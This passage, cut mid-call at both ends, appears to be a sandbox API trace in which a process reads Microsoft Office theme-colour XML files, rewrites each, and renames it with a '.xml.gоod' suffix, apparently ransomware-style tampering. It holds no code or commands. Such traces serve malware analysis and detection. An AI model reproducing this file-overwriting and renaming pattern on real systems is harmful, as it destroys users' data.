lpOldMode=0x200ec810) returned 1 [0151.344] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Red.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\red.xml.gоod")) returned 1 [0151.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", lpFilePart=0x0) returned 0x55 [0151.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0151.345] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), fInfoLevelId=0x0, lpFileInformation=0x39439d8 | out: lpFileInformation=0x39439d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11377f40, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e8)) returned 1 [0151.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0151.345] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", lpFilePart=0x0) returned 0x55 [0151.345] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0151.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0151.345] GetFileType (hFile=0x7dc) returned 0x1 [0151.345] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0151.345] GetFileType (hFile=0x7dc) returned 0x1 [0151.345] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e8 [0151.345] ReadFile (in: hFile=0x7dc, lpBuffer=0x3943fa8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3943fa8*, lpNumberOfBytesRead=0x200ec818*=0x2e8, lpOverlapped=0x0) returned 1 [0151.498] CloseHandle (hObject=0x7dc) returned 1 [0151.524] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", lpFilePart=0x0) returned 0x55 [0151.524] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0151.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0152.484] GetFileType (hFile=0x61c) returned 0x1 [0152.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0152.485] GetFileType (hFile=0x61c) returned 0x1 [0152.485] WriteFile (in: hFile=0x61c, lpBuffer=0x3996f50*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x3996f50*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0152.485] CloseHandle (hObject=0x61c) returned 1 [0152.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml", lpFilePart=0x0) returned 0x55 [0152.486] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml.gоod", lpFilePart=0x0) returned 0x5a [0152.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0152.486] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x571b0354, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0152.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0152.486] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Slipstream.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\slipstream.xml.gоod")) returned 1 [0152.487] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", lpFilePart=0x0) returned 0x54 [0152.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0152.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), fInfoLevelId=0x0, lpFileInformation=0x3998240 | out: lpFileInformation=0x3998240*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e7)) returned 1 [0152.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0152.488] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", lpFilePart=0x0) returned 0x54 [0152.488] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0152.488] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0152.488] GetFileType (hFile=0x61c) returned 0x1 [0152.488] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0152.488] GetFileType (hFile=0x61c) returned 0x1 [0152.488] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e7 [0152.488] ReadFile (in: hFile=0x61c, lpBuffer=0x3998810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3998810*, lpNumberOfBytesRead=0x200ec818*=0x2e7, lpOverlapped=0x0) returned 1 [0152.489] CloseHandle (hObject=0x61c) returned 1 [0153.039] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", lpFilePart=0x0) returned 0x54 [0153.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0153.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0153.040] GetFileType (hFile=0x61c) returned 0x1 [0153.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0153.040] GetFileType (hFile=0x61c) returned 0x1 [0153.040] WriteFile (in: hFile=0x61c, lpBuffer=0x383d468*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x383d468*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0153.041] CloseHandle (hObject=0x61c) returned 1 [0153.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml", lpFilePart=0x0) returned 0x54 [0153.041] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml.gоod", lpFilePart=0x0) returned 0x59 [0153.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0153.041] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x576e7866, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0153.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0153.041] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet II.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet ii.xml.gоod")) returned 1 [0153.042] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", lpFilePart=0x0) returned 0x51 [0153.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0153.042] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), fInfoLevelId=0x0, lpFileInformation=0x383e758 | out: lpFileInformation=0x383e758*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1 [0153.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0153.043] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", lpFilePart=0x0) returned 0x51 [0153.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0153.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0153.043] GetFileType (hFile=0x61c) returned 0x1 [0153.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0153.043] GetFileType (hFile=0x61c) returned 0x1 [0153.043] GetFileSize (in: hFile=0x61c, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e4 [0153.043] ReadFile (in: hFile=0x61c, lpBuffer=0x383ed08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x383ed08*, lpNumberOfBytesRead=0x200ec818*=0x2e4, lpOverlapped=0x0) returned 1 [0153.045] CloseHandle (hObject=0x61c) returned 1 [0153.698] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", lpFilePart=0x0) returned 0x51 [0153.698] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0153.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0154.232] GetFileType (hFile=0x644) returned 0x1 [0154.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0154.232] GetFileType (hFile=0x644) returned 0x1 [0154.752] WriteFile (in: hFile=0x644, lpBuffer=0x32f82c0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x32f82c0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0154.753] CloseHandle (hObject=0x644) returned 1 [0154.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml", lpFilePart=0x0) returned 0x51 [0154.753] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml.gоod", lpFilePart=0x0) returned 0x56 [0154.753] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0154.753] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x58750d3a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0154.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0154.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Violet.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\violet.xml.gоod")) returned 1 [0154.754] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", lpFilePart=0x0) returned 0x58 [0154.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0154.754] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), fInfoLevelId=0x0, lpFileInformation=0x32f9598 | out: lpFileInformation=0x32f9598*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2eb)) returned 1 [0154.754] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0154.754] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", lpFilePart=0x0) returned 0x58 [0154.754] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0154.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0154.756] GetFileType (hFile=0x644) returned 0x1 [0154.756] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0154.756] GetFileType (hFile=0x644) returned 0x1 [0154.756] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2eb [0154.756] ReadFile (in: hFile=0x644, lpBuffer=0x32f9b90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x32f9b90*, lpNumberOfBytesRead=0x200ec818*=0x2eb, lpOverlapped=0x0) returned 1 [0154.757] CloseHandle (hObject=0x644) returned 1 [0154.786] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", lpFilePart=0x0) returned 0x58 [0154.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0154.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0154.787] GetFileType (hFile=0x644) returned 0x1 [0154.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0154.787] GetFileType (hFile=0x644) returned 0x1 [0154.787] WriteFile (in: hFile=0x644, lpBuffer=0x33734d0*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x200ec728, lpOverlapped=0x0 | out: lpBuffer=0x33734d0*, lpNumberOfBytesWritten=0x200ec728*=0x2f0, lpOverlapped=0x0) returned 1 [0154.788] CloseHandle (hObject=0x644) returned 1 [0154.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml", lpFilePart=0x0) returned 0x58 [0154.788] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml.gоod", lpFilePart=0x0) returned 0x5d [0154.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0154.788] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5879d175, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2f0)) returned 1 [0154.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0154.788] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow Orange.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow orange.xml.gоod")) returned 1 [0154.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", lpFilePart=0x0) returned 0x51 [0154.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0154.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), fInfoLevelId=0x0, lpFileInformation=0x33747d8 | out: lpFileInformation=0x33747d8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114108ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114108ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114108ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e4)) returned 1 [0154.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0154.789] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", lpFilePart=0x0) returned 0x51 [0154.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0154.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0154.789] GetFileType (hFile=0x644) returned 0x1 [0154.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec6b0) returned 1 [0154.789] GetFileType (hFile=0x644) returned 0x1 [0154.789] GetFileSize (in: hFile=0x644, lpFileSizeHigh=0x200ec8e8 | out: lpFileSizeHigh=0x200ec8e8*=0x0) returned 0x2e4 [0154.789] ReadFile (in: hFile=0x644, lpBuffer=0x3374d88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec818, lpOverlapped=0x0 | out: lpBuffer=0x3374d88*, lpNumberOfBytesRead=0x200ec818*=0x2e4, lpOverlapped=0x0) returned 1 [0154.955] CloseHandle (hObject=0x644) returned 1 [0154.982] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", nBufferLength=0x105, lpBuffer=0x200ec220, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml", lpFilePart=0x0) returned 0x51 [0154.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec740) returned 1 [0154.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Colors\\Yellow.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme colors\\yellow.xml"), dwDesiredAccess=0x40000000, 